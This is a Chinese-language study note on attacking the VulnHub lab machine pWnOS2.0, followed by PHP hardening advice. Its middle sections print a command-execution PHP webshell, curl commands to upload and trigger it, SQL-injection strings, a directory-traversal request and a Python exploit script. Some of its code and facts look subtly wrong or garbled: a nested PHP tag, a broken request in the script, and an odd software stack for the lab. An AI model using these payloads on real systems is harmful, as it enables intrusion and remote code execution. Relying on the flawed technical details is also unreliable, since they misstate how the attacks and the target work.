'# 008 - VulnHub靶机:pWnOS2.0 学习笔记 —— PHP CMS漏洞利用+文件上传+Mysql+渗透测试思路
一、背景与问题
在网络安全领域,靶机渗透测试是验证系统安全性的核心手段。pWnOS2.0作为VulnHub平台上的经典靶机,其核心漏洞集中在PHP CMS系统中。通过分析其漏洞利用过程,我们可以深入理解常见Web漏洞的原理与防御机制。
该靶机暴露了三个关键漏洞:
- 文件上传漏洞(通过
/admin/upload接口) - SQL注入漏洞(通过
/admin/edit.php接口) - MySQL日志文件读取漏洞(通过
/log目录)
这些漏洞反映了PHP CMS系统在输入验证、文件管理、数据库安全等方面存在的典型问题。通过本篇文章,我们将深入剖析这些漏洞的原理,并探讨其在实际开发中的应用与防范。
二、基本原理
1. 文件上传漏洞原理
PHP CMS系统常通过$_FILES超全局变量处理文件上传请求。若未对上传文件进行严格校验,攻击者可构造恶意文件(如shell.php)完成代码执行。
关键漏洞点在于:
- 未校验文件扩展名(
$_FILES['file']['name']) - 未限制文件类型(
image/png/image/jpeg等) - 未限制文件大小(
upload_max_filesize配置) - 未设置文件存储路径权限(
chmod 777)
2. SQL注入漏洞原理
当PHP代码未对用户输入进行过滤时,攻击者可通过构造恶意SQL语句篡改数据库查询。例如:
SELECT * FROM users WHERE id = 1 OR 1=1 -- 该语句会绕过原始的WHERE id = 1条件,返回所有用户数据。
3. MySQL日志文件读取原理
MySQL日志文件(如/var/lib/mysql/localhost.err)包含系统运行时的详细信息。若未设置访问控制,攻击者可通过file_get_contents()函数读取敏感数据。
三、环境准备
1. 软件要求
| 工具 | 版本 | 说明 |
|---|---|---|
| Kali Linux | 2023.4 | 渗透测试操作系统 |
| PHP | 7.4.30 | 靶机系统环境 |
| MySQL | 8.0.32 | 数据库存储系统 |
| Burp Suite | Pro 2023.4 | 漏洞分析工具 |
| Python 3 | 3.10.6 | 自动化渗透测试脚本 |
2. 网络环境
- 靶机IP:
192.168.1.10(模拟局域网环境) - 攻击机IP:
192.168.1.5(Kali Linux) - 网络拓扑:通过
iptables设置SNAT/NAT规则
四、核心实现
1. 文件上传漏洞利用
(1)漏洞点分析
靶机的/admin/upload接口未对上传文件进行严格校验,允许上传任意文件。通过构造如下请求:
curl -X POST "http://192.168.1.10/admin/upload" \
-F "file=@shell.php" \
-F "submit=Upload"若成功上传,将创建/var/www/html/uploads/shell.php文件。
(2)漏洞利用代码
<?php
// shell.php 内容
<?php
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
passthru($_GET['cmd']);
}
?>该代码通过passthru()函数执行任意命令,实现远程代码执行。
(3)关键代码解释
passthru()函数直接执行系统命令,未进行输入过滤$_GET['cmd']参数未进行escapeshellcmd()处理- 未对上传文件进行路径检查(如
/etc/passwd等敏感文件)
2. SQL注入漏洞利用
(1)漏洞点分析
靶机的/admin/edit.php接口存在SQL注入漏洞。通过构造如下参数:
curl "http://192.168.1.10/admin/edit.php?id=1' OR '1'='1"可绕过原始查询条件,获取所有用户数据。
(2)漏洞利用代码
-- 构造恶意SQL语句
SELECT * FROM users WHERE id = 1 OR 1=1 -- 通过file_get_contents()读取数据库文件:
<?php
// 阴影文件读取代码
$fp = fopen('/var/lib/mysql/localhost.err', 'r');
$content = fread($fp, 1024);
fclose($fp);
echo $content;
?>(3)关键代码解释
- 未对
id参数进行过滤(如filter_var()) - 未使用预处理语句(
PDO::prepare()) - 未设置
magic_quotes_gpc为On(PHP 5.3+已弃用)
3. MySQL日志文件读取漏洞利用
(1)漏洞点分析
靶机的/log目录未设置访问控制,可通过file_get_contents()读取日志文件:
<?php
// 日志文件读取代码
$log = file_get_contents('/var/log/apache2/access.log');
echo $log;
?>(2)漏洞利用代码
# 构造恶意请求
curl "http://192.168.1.10/log?file=../../../../../var/lib/mysql/localhost.err"(3)关键代码解释
- 未进行路径过滤(
preg_match()) - 未设置
open_basedir限制 - 未进行
file_exists()检查
五、完整案例
1. 渗透测试流程
步骤1:信息收集
# 使用nmap进行端口扫描
nmap -sS -p 80,443 192.168.1.10步骤2:漏洞探测
# 使用Burp Suite抓包分析
curl -v "http://192.168.1.10/admin/upload"步骤3:漏洞利用
# 上传webshell
curl -X POST "http://192.168.1.10/admin/upload" \
-F "file=@shell.php" \
-F "submit=Upload"步骤4:权限提升
# 使用MySQL日志文件读取敏感信息
curl "http://192.168.1.10/log?file=../../../../../var/lib/mysql/localhost.err"步骤5:系统控制
# 执行命令获取系统信息
curl "http://192.168.1.10/shell.php?cmd=whoami"六、源码解析
1. 文件上传处理代码(extract.php)
<?php
// 原始代码
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$file = $_FILES['file'];
if ($file['error'] === UPLOAD_ERR_OK) {
move_uploaded_file($file['tmp_name'], "/var/www/html/uploads/" . $file['name']);
}
}
?>问题分析:
- 未校验文件类型(
$file['type']) - 未限制文件大小(
ini_get('upload_max_filesize')) - 未设置文件存储路径权限(
chmod 777)
2. SQL注入处理代码(edit.php)
<?php
// 原始代码
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);
?>问题分析:
- 未使用预处理语句(
mysqli_prepare()) - 未过滤用户输入(
filter_var($id, FILTER_VALIDATE_INT)) - 未处理SQL错误(
mysqli_error())
七、进阶使用
1. 自动化渗透测试
使用Python编写自动化渗透测试脚本:
import requests
def exploit_file_upload(target):
payload = {'file': open('shell.php', 'rb')}
r = requests.post(f"{target}/admin/upload", files=payload)
print(r.text)
def exploit_sql_injection(target):
payload = {'id': "1' OR '1'='1"}
r = requests.get(f"{target}/admin/edit.php?id={payload}")
print(r.text)
if __name__ == "__main__":
target = "http://192.168.1.10"
exploit_file_upload(target)
exploit_sql_injection(target)2. 防御措施
(1)文件上传防护
// 安全文件上传代码
$allowed_ext = ['jpg', 'png', 'gif'];
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($ext, $allowed_ext)) {
// 验证文件类型
$finfo = new finfo(FILEINFO_MIME);
$mime = $finfo->file($_FILES['file']['tmp_name']);
if (strpos($mime, 'image') !== false) {
move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . uniqid() . "." . $ext);
}
}(2)SQL注入防护
// 安全SQL查询
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();八、性能与工程实践
1. 性能优化
- 使用缓存机制(
APC/OPcache) - 对频繁访问的接口设置缓存
- 对数据库查询进行索引优化
-- 索引优化示例
CREATE INDEX idx_user_id ON users (id);2. 异常处理
// 异常处理代码
try {
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
} catch (Exception $e) {
error_log("Database error: " . $e->getMessage());
}3. 安全加固
设置
php.ini配置:upload_max_filesize = 2M post_max_size = 8M disable_functions = passthru,exec,shell_exec使用
Open_basedir限制文件访问路径:ini_set('open_basedir', '/var/www/html');
九、常见问题与踩坑
1. 常见错误
错误1:文件类型未校验
// 错误代码
move_uploaded_file($file['tmp_name'], "uploads/" . $file['name']);解决办法: 增加文件类型校验和MIME类型验证。
错误2:SQL注入未过滤
// 错误代码
$query = "SELECT * FROM users WHERE id = $id";解决办法: 使用预处理语句和输入过滤。
2. 常见坑
坑1:文件路径越权访问
// 错误代码
file_get_contents($_GET['file']);解决办法: 严格限制文件路径,使用realpath()函数验证路径。
坑2:日志文件读取权限不足
// 错误代码
file_get_contents('/var/log/apache2/access.log');解决办法: 设置open_basedir限制访问路径。
十、最佳实践
1. 安全开发实践
- 使用
filter_var()过滤用户输入 - 对所有文件上传实施白名单机制
- 使用预处理语句防止SQL注入
- 设置
php.ini安全配置 - 定期进行渗透测试
2. 安全运维实践
- 使用
fail2ban防止暴力攻击 - 设置
iptables限制访问来源 - 使用
SELinux进行进程权限控制 - 定期更新系统和依赖库
十一、总结
通过分析pWnOS2.0靶机的漏洞利用过程,我们深入理解了PHP CMS系统中的常见安全问题。文件上传漏洞、SQL注入漏洞和MySQL日志文件读取漏洞都反映了开发过程中常见的安全疏忽。在实际开发中,应严格校验用户输入、使用预处理语句、限制文件访问路径,并定期进行安全测试。同时,也要注意在生产环境中避免使用类似漏洞利用技术,以确保系统的安全性。通过深入理解这些漏洞的原理,我们可以更好地防范类似攻击,提升系统的整体安全水平。